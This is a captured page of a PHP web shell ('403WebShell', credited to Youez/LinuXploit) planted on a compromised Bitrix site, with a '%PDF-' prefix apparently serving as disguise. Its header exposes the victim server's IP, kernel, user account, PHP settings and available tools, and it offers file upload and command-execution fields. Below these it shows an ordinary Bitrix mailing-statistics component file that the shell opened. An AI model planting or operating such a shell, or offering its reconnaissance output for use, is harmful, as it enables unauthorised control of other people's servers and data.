%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.193.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.letter.stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.letter.stat//class.php
<?

use Bitrix\Main\Context;
use Bitrix\Main\Error;
use Bitrix\Main\ErrorCollection;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sender\Entity;
use Bitrix\Sender\PostingRecipientTable;
use Bitrix\Sender\Security;
use Bitrix\Sender\Stat;

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

if (!Bitrix\Main\Loader::includeModule('sender'))
{
	ShowError('Module `sender` not installed');
	die();
}

Loc::loadMessages(__FILE__);

class SenderLetterStatComponent extends CBitrixComponent
{
	/** @var ErrorCollection $errors */
	protected $errors;

	protected function checkRequiredParams()
	{
		return true;
	}

	protected function initParams()
	{
		$request = Context::getCurrent()->getRequest();
		if (!isset($this->arParams['MAILING_ID']))
		{
			$this->arParams['MAILING_ID'] = intval($request->get('MAILING_ID'));
		}
		if (!$this->arParams['MAILING_ID'])
		{
			$this->arParams['MAILING_ID'] = intval($request->get('mailingId'));
		}

		if (!isset($this->arParams['CHAIN_ID']) || !$this->arParams['CHAIN_ID'])
		{
			$this->arParams['CHAIN_ID'] = intval($request->get('ID'));
		}

		if (!$this->arParams['CHAIN_ID'])
		{
			$this->arParams['CHAIN_ID'] = intval($request->get('chainId'));
		}

		$this->arParams['SET_TITLE'] = isset($this->arParams['SET_TITLE']) ? $this->arParams['SET_TITLE'] === 'Y' : true;

		$this->arParams['POSTING_ID'] = null;

		$this->arParams['PATH_TO_RECIPIENT'] = isset($this->arParams['PATH_TO_RECIPIENT']) ? $this->arParams['PATH_TO_RECIPIENT'] : '';
	}

	protected function prepareResult()
	{
		/* Set title */
		if ($this->arParams['SET_TITLE'])
		{
			/**@var CAllMain*/
			$GLOBALS['APPLICATION']->SetTitle(Loc::getMessage('SENDER_LETTER_STAT_COMP_TITLE'));
		}

		if (!Security\Access::getInstance()->canViewLetters())
		{
			Security\AccessChecker::addError($this->errors);
			return false;
		}

		$this->arResult['MAILING_COUNTERS'] = array();

		$letter = new Entity\Letter($this->arParams['CHAIN_ID']);
		if (!$letter->getId())
		{
			$this->errors->setError(new Error(Loc::getMessage("SENDER_LETTER_STAT_COMP_NO_DATA")));
			return false;
		}
		$posting = $letter->getLastPostingData();
		/*
		if(empty($posting))
		{
			$this->errors->setError(new Error(Loc::getMessage("SENDER_LETTER_STAT_COMP_NO_DATA")));
			return false;
		}
		*/

		$posting['TITLE'] = $posting['TITLE'] ?: $posting['SUBJECT'];
		$this->arResult['POSTING'] = $posting;
		$this->arResult['IS_SUPPORT_HEAT_MAP'] = $letter->isSupportHeatMap();

		$mailingStat = Stat\Statistics::create()
			->filter('mailingId', $letter->getCampaignId())
			->filter('postingId', $posting['POSTING_ID'])
			->setCacheTtl(0);
		$this->arResult['CHAIN_LIST'] = $mailingStat->getChainList(7);
		$this->arResult['EFFICIENCY'] = $mailingStat->getEfficiency();
		$mailingCounters = $mailingStat->getCounters();
		foreach ($mailingCounters as $counter)
		{
			$this->arResult['MAILING_COUNTERS'][$counter['CODE']] = $counter;
		}

		$this->arResult['DATA'] = Stat\Posting::getData($letter->getId(), array(
			'USER_NAME_FORMAT' => $this->arParams['NAME_TEMPLATE'],
			'PATH_TO_USER_PROFILE' => $this->arParams['PATH_TO_USER_PROFILE'],
		));

		$uri = new \Bitrix\Main\Web\Uri(str_replace('#id#', $this->arParams['CHAIN_ID'], $this->arParams['PATH_TO_RECIPIENT']));
		$uri->addParams(['apply_filter' => 'Y'])->deleteParams(['clear_filter']);
		$readUri = clone $uri; $clickUri = clone $uri; $unsubUri = clone $uri;
		$sentErrorUri = clone $uri; $sentSuccessUri = clone $uri;
		$this->arResult['URLS'] = [
			'READ' => $readUri->addParams(['IS_READ' => 'Y'])->getLocator(),
			'CLICK' => $clickUri->addParams(['IS_CLICK' => 'Y'])->getLocator(),
			'UNSUB' => $unsubUri->addParams(['IS_UNSUB' => 'Y'])->getLocator(),
			'SENT_ERROR' => $sentErrorUri->addParams(['STATUS' => PostingRecipientTable::SEND_RESULT_ERROR])->getLocator(),
			'SENT_SUCCESS' => $sentSuccessUri->addParams(['STATUS' => PostingRecipientTable::SEND_RESULT_SUCCESS])->getLocator(),
			'SEND_ALL' => $uri->addParams(['STATUS' => ''])->getLocator(),
		];

		$this->arResult['ACTION_URI'] = $this->getPath() . '/ajax.php';
		$this->arResult['CAN_RESEND_ERRORS'] = Security\Access::getInstance()->canModifyLetters()
			&& $letter->getState()->canSendErrors();

		return $this->errors->isEmpty();
	}

	protected function printErrors()
	{
		foreach ($this->errors as $error)
		{
			ShowError($error);
		}
	}

	public function executeComponent()
	{
		$this->errors = new \Bitrix\Main\ErrorCollection();
		if (!Bitrix\Main\Loader::includeModule('sender'))
		{
			$this->errors->setError(new Error('Module `sender` is not installed.'));
			$this->printErrors();
			return;
		}

		$this->initParams();
		if (!$this->checkRequiredParams())
		{
			$this->printErrors();
			return;
		}

		if (!$this->prepareResult())
		{
			$this->printErrors();
			return;
		}

		$this->includeComponentTemplate();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit